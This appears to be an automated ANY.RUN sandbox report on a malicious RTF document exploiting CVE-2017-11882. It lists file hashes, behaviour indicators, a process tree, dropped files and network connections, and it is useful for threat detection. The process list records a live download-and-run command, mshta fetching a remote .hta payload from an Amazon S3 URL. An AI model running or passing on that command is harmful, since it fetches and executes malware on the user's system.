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File name:

91561bdef37569a413556734f4176de4.rtf

Full analysis: https://app.any.run/tasks/63e11c96-dc63-467c-aade-fad7970c385d
Verdict: Malicious activity
Analysis date: May 21, 2019, 01:56:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
CVE-2017-11882
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI
MD5:

91561BDEF37569A413556734F4176DE4

SHA1:

FDBE452F7530761AB0818E5F65D99CBC96508F48

SHA256:

3F627582B50B61FBDEB1F3A8AFFB6AC332A11987C591C86FA02B3888B05CC235

SSDEEP:

48:Mp54iWuutGfEjNMtvbDSj3xMa2763PMCphyD9LhQQQzQUAUxNhHb11gb90RCZNys:MwuUG5VoWxmEOyRFVS1E9fNDHy4h/1Nv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 872)

    • Changes settings of System certificates

      • mshta.exe (PID: 552)

  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 872)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EQNEDT32.EXE (PID: 872)

    • Adds / modifies Windows certificates

      • mshta.exe (PID: 552)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1212)

    • Reads internet explorer settings

      • mshta.exe (PID: 552)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1212)

    • Application was crashed

      • EQNEDT32.EXE (PID: 872)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
3
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe mshta.exe

Process information

PID
CMD
Path
Indicators
Parent process
1212"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\91561bdef37569a413556734f4176de4.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
872"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
552mshta https://s3.amazonaws.com/rewqqq/jksd/jk.htaC:\Windows\system32\mshta.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Total events
1 336
Read events
916
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
1
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
1212WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR324E.tmp.cvr —
MD5:—
SHA256:—
1212WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FC7F81AF-9EF3-46EA-B1C4-C034180746C7}.tmp —
MD5:—
SHA256:—
1212WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{724A7071-CD0C-4CCC-9570-5104A8B83D59}.tmp —
MD5:—
SHA256:—
1212WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:4DF3E8AC277FFC6F4230911667B2677C
SHA256:F5D9DC6B782BBC249AA5472A338E83B553EC57C575B6FCEB55D01F868EB090C2
1212WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$561bdef37569a413556734f4176de4.rtfpgc
MD5:19FEE419C884DF5E12C88CA001247B00
SHA256:7CB827E687140D11A8EE1C12C3495943BC958863924EC42F08611C35C209BD5E
1212WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{62D90A86-B78C-4F7A-BDE1-31C08E7B67B9}.tmpbinary
MD5:32CEFE02C1B50B15DCF5FB8486DA0746
SHA256:2E04E1280CEA8CA625C0775A1180D0F5F63EB9535298E94A1F9698A2F8768BEE
1212WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B4E8509C.wmfwmf
MD5:975B76E8E77D57CC386AF977A08B1E31
SHA256:8D80E9B9B39CD00F3BFADB3B2538DC46845FE8D0E7854D5DD9C9C381150DEDAD
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
552
mshta.exe
52.216.238.37:443
s3.amazonaws.com
Amazon.com, Inc.
US
shared

DNS requests

Domain
IP
Reputation
s3.amazonaws.com
  • 52.216.238.37
shared

Threats

No threats detected
No debug info
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Reports
91561bdef37569a413556734f4176de4.rtf